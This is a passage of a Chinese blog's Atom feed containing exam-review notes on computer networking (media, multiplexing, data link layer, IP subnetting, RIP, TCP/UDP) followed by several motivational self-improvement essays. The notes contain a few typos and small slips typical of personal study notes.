光缆：多模光缆（经多次反射，在传输中光脉冲会逐渐展宽，造成失真）；单模光缆（使光线一直向前传播，不会产生多次反射，但成本高）</p><ol start="4"><li>非导向传输媒体</li></ol><p>  地面微波接力通信和卫星通信。和微波接力通信相似，卫星通信的频带很宽，通信容量很大，信号所受到的干扰也比较小，通信比较稳定。</p><ol start="5"><li>调制解调器</li></ol><p>  调制器的主要作用就是个波形变换器，解调器的作用就是个波形识别器</p><p>  调制方法：调幅 AM 、调频 FM 、调相 PM  即载波的振幅 &#x2F; 频率 &#x2F; 初始相位随基带数字信号而变化。</p><ol start="6"><li>数字传输系统</li></ol><p>  现在得数字传输系统都是采用脉码调制 PCM ，其有 2 个互不兼容的国际标准，即北美的 24 路 PCM(T1) 和欧洲的 30 路 PCM( 简称为 E1). 我国采用的是 E1 标准。 T1 的速率是 1.544MB&#x2F;S ， E1 的速率是 2.048MB&#x2F;S 。</p><ol start="7"><li>信道复用技术</li></ol><p>  频分复用 FDM 的所有用户在同样的时间占有不同的带宽资源；时分复用 TDM 的所有用户是在不同的时间占用同样的频带宽度；统计时分复用 STDM 是一种改进的时分复用，它能明显地提高信道的利用率。</p><p>  频分和时分复用的有点是技术比较成熟，但缺点是不够灵活，时分复用更有利于数字信号的传输。</p><p>  波分复用就是光的频分复用。</p><p>  掺铒光纤放大器 EDFA 是一种光放大器，不需要进行光电转换而直接对光信号进行放大 .</p><p>  码分复用 CDM 最初用于军事通信，采用 CDMA 可提高通信的话音质量和数据传输的可靠性，减少干扰对通信的影响，增大通信系统的容量，降低手机的平均发射功率等。</p><p>  同步光纤网 SONET 为光纤传输系统定义了同步传输的线路速率等级结构，其传输速率以 54.84MB&#x2F;S 为基础，大约对应于 T3&#x2F;E3 的传输速率，此速率对电信号称为第 1 级同步传送信号 STS-1; 对光信号则称为第 1 级光载波 OC-1.</p><p>  同步数字系列 SDH 的基本速率为 155.52MB&#x2F;S ，称为第 1 级同步传递模块 STM-1.</p><h2 id="三、点对点信道的数据链路层"><a href="#三、点对点信道的数据链路层" class="headerlink" title="三、点对点信道的数据链路层"></a>三、点对点信道的数据链路层</h2><ol><li>数据链路层的基本概念</li></ol><p>  帧为数据链路层的协议数据单元。</p><p>  数据链路层的最主要的功能可归纳为：</p><ul><li><p>结点 A 的数据链路层把网络层交下来的 IP 数据报封装成帧；</p></li><li><p>结点 A 把封装好的帧发送给结点 B 的数据链路层 ;</p></li><li><p>若结点 B 的数据链路层收到的帧无差错，则从收到的帧中提取 IP 数据报上交给上面的网络层，否则丢弃这个帧。</p></li></ul><p>  一般的网络适配器都包括了数据链路层和物理层这两层的功能。</p><ol start="2"><li>透明传输</li></ol><p>  为了解决透明传输问题，必须设法使数据中可能出现的控制字符 SOH 和 EOT 在接收端不被解释为控制字符。具体方法是：每当数据中出现字符 SOH 或 EOT 时就将其转换为另一个字符，而这个字符是不会被错误解释为控制字符的。这种方法称为字节插入。</p><p>局域网</p><ol><li>局域网按网络拓扑进行分类：星形网、环形网、总线网、树形网</li></ol><p>  局域网的数据链路层拆分为两个子层，即逻辑链路控制 LLC 子层和媒体接入控制 MAC 子层。</p><p>2.CSMA&#x2F;CD 协议</p><p>  载波监听多点接入 &#x2F; 碰撞检测 CSMA&#x2F;CD 协议的要点：多点接入就是说嘛这是总线型网络，许多计算机以多点接入的方式连接在一根总线上。协议的实质是载波监听和碰撞检测</p><p>  载波监听是指每一个站在发送数据之前先要检测一下总线上是否有其他计算机在发送数据，如果有，则暂时不要发送数据，以免发生碰撞。</p><p>  碰撞检测就是计算机边发送数据边检测信道上的信号电压大小。</p><p>3.MAC 层的硬件地址</p><p> 在局域网中硬件地址又称为物理地址或 MAC 地址。 MAC 地址实际上就是网卡地址或网卡标识符 EUI-48.</p><ol start="4"><li>两种不同的 MAC 帧格式</li></ol><p> DIX Rthernet V2 标准和 IEEE 的 802.3 标准，其简单格式件 P113</p><ol start="5"><li><p>在物理层扩展局域网是使用转发器和集线器。</p></li><li><p>在数据链路层扩展局域网是使用网桥</p></li><li><p>网桥的工作原理：网桥从端口接收网段上传送的各种帧。每当收到一个帧时，就先暂存在其缓存中，若此帧未出现差错，且欲发往母的站 MAC 地址属于另一个网桥，则通过查找转发表，将收到的帧传送往对应的端口转发出去。若该帧出现差错，则丢弃此帧。因此尽在同一个网段中通信的帧不会被网桥转发到另一个网段去，因而不会加重整个网络的负担。 P116</p></li><li><p>目前使用得最多的网桥是透明网桥。透明是指局域网上的站点并不知道所发送的帧将经过哪几个网桥，因为网桥对各站来说是看不见的。透明网桥是一种即插即用设备，其标准是 IEE 802.1D 。</p></li><li><p>（什么）虚拟局域网 VLAN 是由一些局域网段构成的与物理位置无关的逻辑组，而这些网段具有某些共同的需求。   （为什么用）虚拟局域网限制了接收广播信息的工作站数，使得网络不会因传播过多的广播信息而引起性能恶化。</p></li></ol><h2 id="四、网络互连"><a href="#四、网络互连" class="headerlink" title="四、网络互连"></a>四、网络互连</h2><ol><li>路由器在网际互连中的作用</li></ol><p>  离开路由器就无法在互联网上传送数据。路由器是一种具有多个输入端口和多个输出端口的专用计算机，其任务是转发分组。整个路由器结构可划分为两大部分：路由选择部分和分组转发部分。</p><ol start="2"><li>因特网的网际协议 IP</li></ol><p>  网际协议 IP 是 TCP&#x2F;IP 体系中两个最主要的协议之一也是最重要的因特网标准协议之一。与 IP 协议配套使用的还有 4 个协议：</p><ul><li><p>地址解析协议 ARP</p></li><li><p>逆地主解析协议 RARP</p></li><li><p>因特网控制报文协议 ICMP</p></li><li><p>因特网组管理协议 IGMP</p></li></ul><ol start="3"><li>分类的 IP 地址</li></ol><p> IP 地址编址方法共经历三个历史阶段：分类的 IP 地址；子网的划分；构成超网</p><p> IP 地址  &#x3D;{&lt; 网络号 &gt; ， &lt; 主机号 &gt;}  见 P174 页图</p><p>  常用的三种类别 IP 地址：结合 P174 、 P176 的图</p><ol start="4"><li><p>IP 地址与硬件地址区别：从层次角度看，物理地址是数据链路层和物理层使用的地址，而 IP 地址是网络层和以上各层使用的地址。 P178 图</p></li><li><p>连接在通信链路上的舌部（主机或路由器）在接收 MAC 帧时，其根据是 MAC 帧收不中的硬件地址。在数据链路层看不见隐蔽在 MAC 帧的数据中的 IP 地址。只有在剥去 MAC 帧的首部和尾部后将 MAC 层的数据上交给网络层（这时 MAC 层的数据就变成了 IP 数据包），网络层才能在 IP 数据包的首部中找打源 IP 地址和目的 IP 地址 .(IP 地址与硬件地址映射和转换关系） P178 图</p></li></ol><p>6.IP 数据包的格式。 P182</p><p>7.IP 层转发分组的流程</p><p>  当路由器收到一个待转发的数据报，从路由表得出下一条路由器的 IP 地址后，不是将下一跳路由器的 IP 地址填入 IP 数据报，而是送交下层的网络接口软件。网络接口软件负责将下一跳路由器的 IP 地址转换成硬件地址（使用 ARP) ，并将此硬件地址放在链路层的 MAC 帧的首部，然后根据这个硬件地址找到下一跳路由器。</p><ol start="8"><li>划分子网</li></ol><p>  为什么要划分子网：</p><p>*IP 地址空间的利用率有时很低</p><ul><li><p>给每一个物理网络分配一个网络号会使路由表变得太大而使网络性能变坏</p></li><li><p>两级 IP 地址不够灵活</p></li></ul><p>  划分子网的基本思路：</p><ul><li><p>一个拥有许多物理网络的单位，可将所属的物理网络划分为若干个子网</p></li><li><p>划分子网的方法是从网络的主机号借用若干个比特作为子网号，而主机号也就相应减少了若干个比特  即  IP 地址 &#x3D;{&lt; 网络号 &gt;,&lt; 子网号 &gt;,&lt; 主机号 &gt;}</p></li><li><p>凡是从其他网络发送给本单位某个主机的 IP 数据报，仍然是根据 IP 数据报的目的网络号找到连接在本单位上的路由器。由此路由器在收到 IP 数据报后，再按目的网络号和子网号找到目的子网，将 IP 数据报交付给目的主机</p></li></ul><ol start="9"><li><p>使用子网掩码的分组转发过程。 P190  掌握计算与转算方法</p></li><li><p>无分类编址 CIDR （计算题）</p></li><li><p>从匹配结果中选择具有最长网络前缀的路由叫做最长前缀匹配。</p></li><li><p>内部网关协议 RIP</p></li></ol><p>  工作原理： RIP 是一种分布式的基于距离向量的鲈鱼选择协议，是因特网的标准协议，其最大特点就是简单。 RIP 允许一条路径最多只能包含 15 个路由器，因此距离的最大值为 16 时即详单与不可达，可见 RIP 只适用于小型互联网。</p><ol start="13"><li>内部网关协议 OSPF 、外部网关协议 BGP （记住名词）</li></ol><h2 id="五、运输层"><a href="#五、运输层" class="headerlink" title="五、运输层"></a>五、运输层</h2><p>1 运输层中的两个协议</p><p>  用户数据报协议 UDP 和传输控制协议 TCP</p><p>  两个对等运势实体在通信时传送的数据单位叫做运输协议数据单元 TPDU 。</p><p> TPDU 两种情况：在 TCP&#x2F;IP 体系中，根据所使用的协议是 TCP 货 UDP 分别称之为 TCP 报文段或 UDP 报文或用户数据报。</p><ol start="2"><li>端口的概念</li></ol><p>  应用层的各种进程是通过相应的端口与运输实体进行交互。端口的作用就是让应用层的各种应用进程都能将其数据通过端口向下交付给运输层，以及让运输层知道应当将其报文段中的数据向上通过端口交付给应用层相应的进程。</p><ol start="3"><li>为了在通信时不致发生混乱，必须把端口号和主机的 IP 地址结合在一起使用，一个 TCP 链接由它的两个端点来标志，而每一个端点又是由 IP 地址和端口号决定的。因此， TCP 使用链接作为最基本的抽象，同时将 TCP 链接的端点称为插口，或套接字、套接口</li></ol><p>插口 &#x3D; （ IP 地址，端口号）   例如（ 131.6.23.13,1500 ）</p><p>4.UDP 概述</p><ul><li>发送数据之前不需要建立链接，因此减少了开销和发送数据之前的时延。</li></ul><p>*UDP 不使用拥塞控制，也不保证可靠交付，因此主机不需要维持具有许多参数的、复杂的链接状态表。</p><p>*UDP 用户数据只有 8 个字节的首部开销，比 TCP 的 20 个字节的首部要段。</p><ul><li>由于 UDP 没有拥塞控制，因此网络出现的拥塞不会使源主机的发送速率降低。</li></ul>]]>
    </content>
    <id>https://wmcoder.net/posts/e967.html</id>
    <link href="https://wmcoder.net/posts/e967.html"/>
    <published>2020-09-08T14:23:27.000Z</published>
    <summary>
      <![CDATA[<p>题型：选择、填空简答、问答、名词解释、计算设计</p>
<h2 id="一、概述"><a href="#一、概述" class="headerlink" title="一、概述 ."></a>一、概述 .</h2><ol>
<li>计算机网络的几种不同分类</li>
</o]]>
    </summary>
    <title>计算机网络期末考试重点</title>
    <updated>2020-09-08T14:23:27.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="励志" scheme="https://wmcoder.net/categories/%E5%8A%B1%E5%BF%97/"/>
    <category term="励志" scheme="https://wmcoder.net/tags/%E5%8A%B1%E5%BF%97/"/>
    <content>
      <![CDATA[<p>知乎热答：</p><p>很简单。 打开一个招聘网站，选择你理想的职位和薪资，看一下对应的招聘要求，想想自己符合几条。 打开你想去的学校官网，选择你想申请的专业和项目，看一下申请要求，想想自己能否申请上。 想一下你喜欢的那个Ta，思考一下她的择偶标准，想想自己符合几条，能不能给Ta幸福，能不能追到Ta。 想一下你想住的房子，查一下该房子在你想居住地段的价格，看一下自己的银行卡余额。 想一下你想买的车，查一下价格，看看自己的存款。 想一下自己的父母和孩子，思考一下你想给他们怎样的生活，看看自己现在的能力和差距。 想一下自己理想的体重和样貌，称一下自己实际的重量，再照照镜子。 想一下自己一直想去旅行的地方和想去吃的餐厅，思考一下什么时候能去玩能去吃以及能去的频率。 想一下自己一直想去做的某件事，不管是创业、出国旅行、做个spa，买个珠宝、包包、衣服还是换辆车、买个单反、换个电脑等等，现在可以去做了吗，如 果不可以，思考一下为什么。 想一下上一次因为自己能力或者实力不足，而没能达成的一个目标或者没能实现的事情，不管是找工作失败或者买件衣服价格超过自己的预期还是考试成绩 没让自己满意、自己喜欢的女孩儿没看上自己等等，现在你的目标能实现了吗 ？如果不可以，想想怎么做。 想一下你现在做的事情是不是自己喜欢的，想一下你现在是不是可以只做自己喜欢的事情。 如果不可以，那就请加油努力。</p>]]>
    </content>
    <id>https://wmcoder.net/posts/7dd.html</id>
    <link href="https://wmcoder.net/posts/7dd.html"/>
    <published>2020-09-07T04:00:00.000Z</published>
    <summary>
      <![CDATA[<p>知乎热答：</p>
<p>很简单。 打开一个招聘网站，选择你理想的职位和薪资，看一下对应的招聘要求，想想自己符合几条。 打开你想去的学校官网，选择你想申请的专业和项目，看一下申请要求，想想自己能否申请上。 想一下你喜欢的那个Ta，思考一下她的择偶标准，想想自己符合几条，能不]]>
    </summary>
    <title>当自己颓废的时候怎么激励自己？</title>
    <updated>2020-09-07T04:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="励志" scheme="https://wmcoder.net/categories/%E5%8A%B1%E5%BF%97/"/>
    <category term="励志" scheme="https://wmcoder.net/tags/%E5%8A%B1%E5%BF%97/"/>
    <content>
      <![CDATA[<p>我相信一个人的成长，即使到了80岁，只要还活着，依然可以继续下去。我一直在向优秀的人靠近，这辈子一直在追随优秀的人的脚步。从进入北大开始，我的很多同学就成为我学习的榜样。到我大学毕业以后，很多北大的老师也成为我学习的榜样，否则我不会从一个给50人的课堂上课，只剩下3个学生的人，变成北大的优秀老师。创立新东方以后，我不断地向新东方里的各种人学习，不管年轻的、年老的，对我来说没有区别，唯一的区别就是他们身上有没有值得我学习的东西。现在我跟中国和世界范围内的很多著名企业家、政治家、思想家打交道的时候，跟很多成功人士打交道的时候，也从他们身上看到了某些优秀的特质。</p><p>当然，人无完人，如果你在我身边工作，就会发现我身上有很多缺点，而且有些缺点还挺顽固的。优秀真的是很难的一件事情，但是，我们可以归纳一下，一个优秀的人具有哪些特质。我总结了一下，一个优秀的人的标志和特点大概有八条。</p><h2 id="第一条，热爱生命"><a href="#第一条，热爱生命" class="headerlink" title="第一条，热爱生命"></a>第一条，<strong>热爱生命</strong></h2><p>一个优秀的人首先是一个热爱生命的人。热爱生命首先是爱自己，自信而不狂妄。其次兼顾他人，喜欢交朋友。热爱大自然也是热爱生命的一个重要组成部分。总的来说，就是“三热爱”：爱自己，爱他人，爱自然。“三热爱”是优秀的人的第一个标志，我们每个人都可以检讨一下自己，不管生命中遇到多少艰难困苦，我们依然对生命保持热情吗？</p><h2 id="第二条，有一份喜欢并且愿意专注投入的工作"><a href="#第二条，有一份喜欢并且愿意专注投入的工作" class="headerlink" title="第二条，有一份喜欢并且愿意专注投入的工作"></a>第二条，<strong>有一份喜欢并且愿意专注投入的工作</strong></h2><p>一个人热爱工作、专注工作，就一定会在工作上取得好成绩。无数名人讲过“工作着就是幸福的”。一个人有斗志，就会喜欢挑战更难的工作，喜欢锻炼自己，让自己的生命更充实。有一份自己真正喜欢的工作，愿意把它深入下去，做得尽善尽美，同时通过这份工作获取一份收入，这是再好不过的事情。</p><h2 id="第三条，不在乎得失"><a href="#第三条，不在乎得失" class="headerlink" title="第三条，不在乎得失"></a>第三条，<strong>不在乎得失</strong></h2><p>人们对“得”很容易接受，但对“失”却很难坦然接受。即便是一个小小的“失”，我们都会很难受，更何况大“失”呢？但残酷的是，我们一生中不可避免地会失去很多东西。如果我们对得失，尤其是“失”特别在乎，就会走很多弯路。许多企业家已经有了几十亿、上百亿的资产，却还想通过不法途径得到更多财富。一心只想得到，不止是贪心。有些公司让财务人员做假账，只为少交税，少失去一些钱财，不止是吝啬。得失心太重，很可能导致我们走上歧途。所以我们应该正确看待得失：得到是人生的赏赐，要心怀感恩；失去是人生的磨炼，要坦然面对。</p><h2 id="第四条，心怀他人"><a href="#第四条，心怀他人" class="headerlink" title="第四条，心怀他人"></a>第四条，<strong>心怀他人</strong></h2><p>一个优秀的人做任何事都会关注他人的感受，考虑他人的利益，心怀他人。任何人不管说话还是做事，如果只顾自己，不顾他人感受，只会让自己活动的空间越来越窄。当然，任何人都不可能没有伤害别人的时候，但我们还是应该尽力照顾别人的感受，减少伤害。尤其是处于领导层的人，面对下属时要尊重他们，切忌侮辱谩骂。关注他人的感受，从语言上到行为上都是一件特别重要的事情。否则，即便你有能力也不一定有好结果。</p><h2 id="第五条，努力追求成就感和荣誉感"><a href="#第五条，努力追求成就感和荣誉感" class="headerlink" title="第五条，努力追求成就感和荣誉感"></a>第五条，<strong>努力追求成就感和荣誉感</strong></h2><p>请注意，努力追求不包括不择手段。一个优秀的人会永怀上进之心，不断追求成就感和荣誉感，并且把它们放在财富和社会地位之前，这样才会变得越来越好。</p><h2 id="第六条，每天坚持学习和成长"><a href="#第六条，每天坚持学习和成长" class="headerlink" title="第六条，每天坚持学习和成长"></a>第六条，<strong>每天坚持学习和成长</strong></h2><p>读书是我们不断学习和成长最重要的一条途径。世界名牌大学的公开课也是一条促进成长的有效途径。观察并学习周围的人的优点，也能让我们变得更加优秀。一个优秀的人肯定每天都在通过各种各样的方式学习、进步和成长。</p><h2 id="第七条，有真诚、坦率、阳光的性格"><a href="#第七条，有真诚、坦率、阳光的性格" class="headerlink" title="第七条，有真诚、坦率、阳光的性格"></a>第七条，<strong>有真诚、坦率、阳光的性格</strong></h2><p>一个真诚、坦率、阳光的人很容易就能获得他人的好感，交到更多朋友。相反，一个虚伪、隐讳、阴暗的人很难让人接近，常常孤独自处。这是人的天性，没有人会喜欢给自己阴郁感觉的人，人们总是喜欢、欣赏能灿烂自己生活的人。</p><h2 id="第八条，虚心谦卑，不妄自尊大"><a href="#第八条，虚心谦卑，不妄自尊大" class="headerlink" title="第八条，虚心谦卑，不妄自尊大"></a>第八条，<strong>虚心谦卑，不妄自尊大</strong></h2><p>一个优秀的人不会因为他人的赞赏、崇拜，便抬高自己，妄自尊大。他会永远保持自己是一个普通人的心态，这也有利于平衡得失心。其实，优秀的人还有很多其他的普遍特征。但是，这八条中，如果我们能做到其中一两条，也不失为一个优秀的人。做一个优秀的人吧，让我们以此共勉！</p>]]>
    </content>
    <id>https://wmcoder.net/posts/f196.html</id>
    <link href="https://wmcoder.net/posts/f196.html"/>
    <published>2020-09-04T04:00:04.000Z</published>
    <summary>
      <![CDATA[<p>我相信一个人的成长，即使到了80岁，只要还活着，依然可以继续下去。我一直在向优秀的人靠近，这辈子一直在追随优秀的人的脚步。从进入北大开始，我的很多同学就成为我学习的榜样。到我大学毕业以后，很多北大的老师也成为我学习的榜样，否则我不会从一个给50人的课堂上课，只剩下3个学生的]]>
    </summary>
    <title>一个优秀的人的八条标志</title>
    <updated>2020-09-04T04:00:04.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="励志" scheme="https://wmcoder.net/categories/%E5%8A%B1%E5%BF%97/"/>
    <category term="励志" scheme="https://wmcoder.net/tags/%E5%8A%B1%E5%BF%97/"/>
    <content>
      <![CDATA[<h1 id="十个自问"><a href="#十个自问" class="headerlink" title="十个自问"></a>十个自问</h1><h2 id="1-我拥有什么？"><a href="#1-我拥有什么？" class="headerlink" title="1.我拥有什么？"></a>1.我拥有什么？</h2><p>我们通常会为自己没有的东西而苦恼，却看不到自己拥有的。比如健康，爱与被爱的能力，每天都有食物供我们享用等。正如那句口口相传的话所说：“失去了才知道珍贵。”让我们走出哀怨，这样就可以看到什么是我们拥有的。</p><h2 id="2-我应该为什么感到自豪？"><a href="#2-我应该为什么感到自豪？" class="headerlink" title="2.我应该为什么感到自豪？"></a>2.我应该为什么感到自豪？</h2><p>为自己已经取得的成绩而自豪。成绩不分大小，每一次成功都意味着向前迈出了一步。每个人都有自己值得自豪的东西，你可以为自己刚刚战胜了一个挑战而感到骄傲，可以为帮助了一个陌生人而感到幸福，也可以为结识了新朋友或读了一本新书而感到高兴。</p><h2 id="3-我应该对什么心存感激？"><a href="#3-我应该对什么心存感激？" class="headerlink" title="3.我应该对什么心存感激？"></a>3.我应该对什么心存感激？</h2><p>每天都有很多事情让我们为之心存感激，同时也有很多人值得我们感谢，因为他们在无形中教会了我们许多事情。活着的每一天对于我们来说都是一份珍贵的礼物。</p><h2 id="4-我怎样才能充满活力？"><a href="#4-我怎样才能充满活力？" class="headerlink" title="4.我怎样才能充满活力？"></a>4.我怎样才能充满活力？</h2><p>每天都要计划做一些积极的事情，让自己充满活力。例如，你可以给那些一直以来很欣赏，却很久未联系的人打电话；对工作伙伴说一些鼓励的话；保持微笑，或者留出时间和孩子玩耍等。</p><h2 id="5-我今天能解决什么问题？"><a href="#5-我今天能解决什么问题？" class="headerlink" title="5.我今天能解决什么问题？"></a>5.我今天能解决什么问题？</h2><p>设法把那些原本想留到明天再解决的问题今天就解决掉。尽量在当天完成手头的工作，敢于面对那些棘手的问题，并换一种角度看待它们。</p><h2 id="6-我能抛下过去的包袱吗？"><a href="#6-我能抛下过去的包袱吗？" class="headerlink" title="6.我能抛下过去的包袱吗？"></a>6.我能抛下过去的包袱吗？</h2><p>“过去的包袱”是指长年累积起来的伤心的经历和怨气。背着这些沉重的生活包袱有什么用呢？建议对过去做一个总结，把值得借鉴的经验保存起来，然后永远地卸下重负。</p><h2 id="7-我怎么换个角度看问题？"><a href="#7-我怎么换个角度看问题？" class="headerlink" title="7.我怎么换个角度看问题？"></a>7.我怎么换个角度看问题？</h2><p>人往往都是别人的建议者，却不是自己的。很多时候，根本原因就是我们看待事物的方式。很多人都有过为一件事苦恼不堪，过后又觉得可笑的经历。其实悲和喜只是因为我们看问题的角度不同而已。</p><h2 id="8-我怎样过好今天？"><a href="#8-我怎样过好今天？" class="headerlink" title="8.我怎样过好今天？"></a>8.我怎样过好今天？</h2><p>做些与平常不一样的事。如果我们走出常规，学会享受生活，那么生活就是丰富多彩的。要敢于创造和创新。</p><h2 id="9-今天我要拥抱谁？"><a href="#9-今天我要拥抱谁？" class="headerlink" title="9.今天我要拥抱谁？"></a>9.今天我要拥抱谁？</h2><p>拥抱是我们的精神食粮。曾经有一位心理学家说过，要想健康，每天要至少与人拥抱8次。身体接触是人最基本的需求，它甚至可以帮助我们开发大脑。</p><h2 id="10-现在我就开始行动？"><a href="#10-现在我就开始行动？" class="headerlink" title="10.现在我就开始行动？"></a>10.现在我就开始行动？</h2><p>不要认为这些都是“听起来不错”的建议，也不要认为生活很难是这样的。是让生活过得索然无味，还是积极向上，决定权就在你自已手中。努力幸福地生活，你又会失去什么呢？所以，现在就开始行动吧。</p><h1 id="六条管理措施"><a href="#六条管理措施" class="headerlink" title="六条管理措施"></a>六条管理措施</h1><p>作为一个优秀的管理者，首先必须要有效管理好自己。对于长远的自我管理，我有六条管理措施可以分享给大家。</p><h2 id="1-设定长远目标"><a href="#1-设定长远目标" class="headerlink" title="1.设定长远目标"></a>1.设定长远目标</h2><p>比如，除经营新东方之外，我还设立了三个长远目标：一是创办一所“两三千人、永远不扩招”的私立大学；二是设立一所文化研究院；三是在全世界进行深度旅行，写出深度游记。</p><h2 id="2-确立阶段性目标"><a href="#2-确立阶段性目标" class="headerlink" title="2.确立阶段性目标"></a>2.确立阶段性目标</h2><p>一个人要想获得成就感，应该设立阶段性目标。比如今天要把这篇课文背出来，到睡觉之前背下来了，就是阶段性的小成功和小成就。把这些小成功加起来，最后可能就是一个大成功。</p><h2 id="3-以“看见最后成果”来自我激励"><a href="#3-以“看见最后成果”来自我激励" class="headerlink" title="3.以“看见最后成果”来自我激励"></a>3.以“看见最后成果”来自我激励</h2><p>特别是身在企业高处的管理者，他们由谁来激励？答案是通过“看见最后成果”来激励自己。新东方作为一个培训机构，最后成果就是对学员的改变。我在新东方工作有非常大的动力，就是因为我认为自己做了一件好事，这个则要通过经常给学生们做讲座来强化，要是半年一年没接触学生，激励机制就会减弱。</p><h2 id="4-每周总结，给自己打星"><a href="#4-每周总结，给自己打星" class="headerlink" title="4.每周总结，给自己打星"></a>4.每周总结，给自己打星</h2><p>我会每周写一次日记，回顾七天的经历，并根据收获大小给自己打星。以下情况会得到比较多的星：在家里读了一本书，没有受到其他任何事情的干扰；写了一两篇我认为比较出色的文章；跟别人聊天，学到了很多东西。</p><h2 id="5-保持学习心态"><a href="#5-保持学习心态" class="headerlink" title="5.保持学习心态"></a>5.保持学习心态</h2><p>我不把跟新东方相关的工作列入打星的范围，因为这些工作做得再好，也只是能力的重复，而不是提高。不过有一个例外，就是我在哈佛商学院参与讨论新东方案例，这也被我算在打星的范围之内。因为我从他们的行为方式、表达方式和教授的讲解方式中学到了很多东西，这个对我来说是全新的，尽管那一天我连觉都没睡好，但是我依然要给它打五星。</p><h2 id="6-经常放松自己"><a href="#6-经常放松自己" class="headerlink" title="6.经常放松自己"></a>6.经常放松自己</h2><p>我有的时候会突然跑出去爬山、看云。有时候晚上月亮升起，我会跑到院子里，坐在月亮底下，什么都不干，就静静地看着月亮。没错，这都是我放松自己的方式。</p>]]>
    </content>
    <id>https://wmcoder.net/posts/dce.html</id>
    <link href="https://wmcoder.net/posts/dce.html"/>
    <published>2020-09-04T04:00:03.000Z</published>
    <summary>
      <![CDATA[<h1 id="十个自问"><a href="#十个自问" class="headerlink" title="十个自问"></a>十个自问</h1><h2 id="1-我拥有什么？"><a href="#1-我拥有什么？" class="headerlink" title="1]]>
    </summary>
    <title>给自己的每一天注入力量</title>
    <updated>2020-09-04T04:00:03.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="励志" scheme="https://wmcoder.net/categories/%E5%8A%B1%E5%BF%97/"/>
    <category term="励志" scheme="https://wmcoder.net/tags/%E5%8A%B1%E5%BF%97/"/>
    <content>
      <![CDATA[<p>”当你不去旅行，不去冒险，不去拼一份奖学金，不过没试过的生活，整天挂着QQ，刷着微博，逛着淘宝，玩着网游，干着我80岁都能做的事，你要青春干嘛?”你是否也曾被这句网传的流行语唤醒了心底那一丝早已沉寂的上进心?锦瑟流年，花开花落，岁月蹉跎匆匆过，而恰如同学少年，在最能学习的时候你选择恋爱，在最能吃苦的时候你选择安逸，自是年少，却韶华倾负，再无少年之时。错过了人生最为难得的吃苦经历，对生活的理解和感悟就会浅薄。</p><p>   什么叫吃苦?当你抱怨自己已经很辛苦的时候，请看看那些透支着体力却依旧食不果腹的劳动者，在办公室里整整资料能算吃苦?在有空调的写字楼里敲敲键盘算是吃苦?认真地看看书，学学习，算吃苦?如果你为人生画出了一条很浅的吃苦底线，就请不要妄图跨越深邃的幸福极限。</p><p>   当你看了《杜拉拉升职记》，你觉得外企真好，可以出入高档写字楼，说着让人听不懂的英语，拿着让人眼红的薪水;当你看了《亲密敌人》，你觉得投行男好帅，开着凯迪拉克，漫步澳大利亚的海滩，随手签着几百万的合同;当你看到一条精妙的广告赞不绝口，你觉得做营销好潮，可以把握市场脉搏，纵情挥洒自己的创意;当你看到一位做房地产的朋友，每天和有钱人出入各种高档场所，发着各种挥霍的微博，你觉得做房地产好赚钱;当你看到一位快消人员满世界出差，在各种地方住五星级酒店，你觉得做快消好风光。你疯狂地爱上了那种洋洋得意的状态，却不曾想到你日思夜想称之为梦想的状态，其实并不等于你看到的那样简单。</p><p>   他所吃的苦，是早就开始每天只睡3个小时，从N年前的数据查到昨天，一点点地做着细致无比的分析;他所吃的苦，是为了去争取一个客户，挤在一辆卧铺大巴车上，冒着被偷被抢被撞车的风险，一边敲邮件，一边环顾周围诧异的眼神;他所吃的苦，是为了一套更合理更系统的管理方法，而不断地和各个领导去磨合，去询问，去思考;他所吃的苦，是为了签下一个大订单，自己一个人在他乡，看着别人世界中的团圆，装饰着自己的相思梦;他所吃的苦，是为了一个上市项目，在3天之内自学几十万字的材料，让自己在3天之内从一个门外汉变成一个行家。他也曾许多次摔倒在泥土里，甚至让别人从自己的身体上踩过去。</p><p>​    他成功地取得了让人望尘莫及的荣耀，只因为他是一个懂得吃苦的人，能够承担得起那种厚重的魅力。他辛勤工作的身影，他随时洋溢的才华，他的一切禁得起岁月的推敲。</p><p>   亲爱的朋友，如果老天善待你，给了你优越的生活，请不要收敛了自己的斗志;如果老天对你百般设障，更请不要磨灭了对自己的信心和向前奋斗的勇气。当你想要放弃了，一定要想想那些睡得比你晚、起得比你早、跑得比你卖力、天赋还比你高的牛人，他们早已在晨光中跑向那个你永远只能眺望的远方。</p><p>   在你经历过风吹雨打之后，也许会伤痕累累，但是当雨后的第一缕阳光投射到你那苍白、憔悴的脸庞时，你应该欣喜若狂，并不是因为阳光的温暖，而是在苦了心志，劳了筋骨，饿了体肤之后，你毅然站立在前进的路上，做着坚韧上进的自己。其实你现在在哪里，并不是那么重要。只要你有一颗永远向上的心，你终究会找到那个属于你自己的方向。</p><p>   所以，请不要在最能吃苦的时候选择安逸，没有人的青春是在红地毯上走过，既然梦想成为那个别人无法企及的自我，就应该选择一条属于自己的道路，为了到达终点，付出别人无法企及的努力。</p>]]>
    </content>
    <id>https://wmcoder.net/posts/b533.html</id>
    <link href="https://wmcoder.net/posts/b533.html"/>
    <published>2020-09-04T04:00:02.000Z</published>
    <summary>
      <![CDATA[<p>”当你不去旅行，不去冒险，不去拼一份奖学金，不过没试过的生活，整天挂着QQ，刷着微博，逛着淘宝，玩着网游，干着我80岁都能做的事，你要青春干嘛?”你是否也曾被这句网传的流行语唤醒了心底那一丝早已沉寂的上进心?锦瑟流年，花开花落，岁月蹉跎匆匆过，而恰如同学少年，在最能学习的时]]>
    </summary>
    <title>不吃苦，你要青春干嘛</title>
    <updated>2020-09-04T04:00:02.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="计算机组成原理" scheme="https://wmcoder.net/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/"/>
    <category term="计算机组成原理" scheme="https://wmcoder.net/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/"/>
    <content>
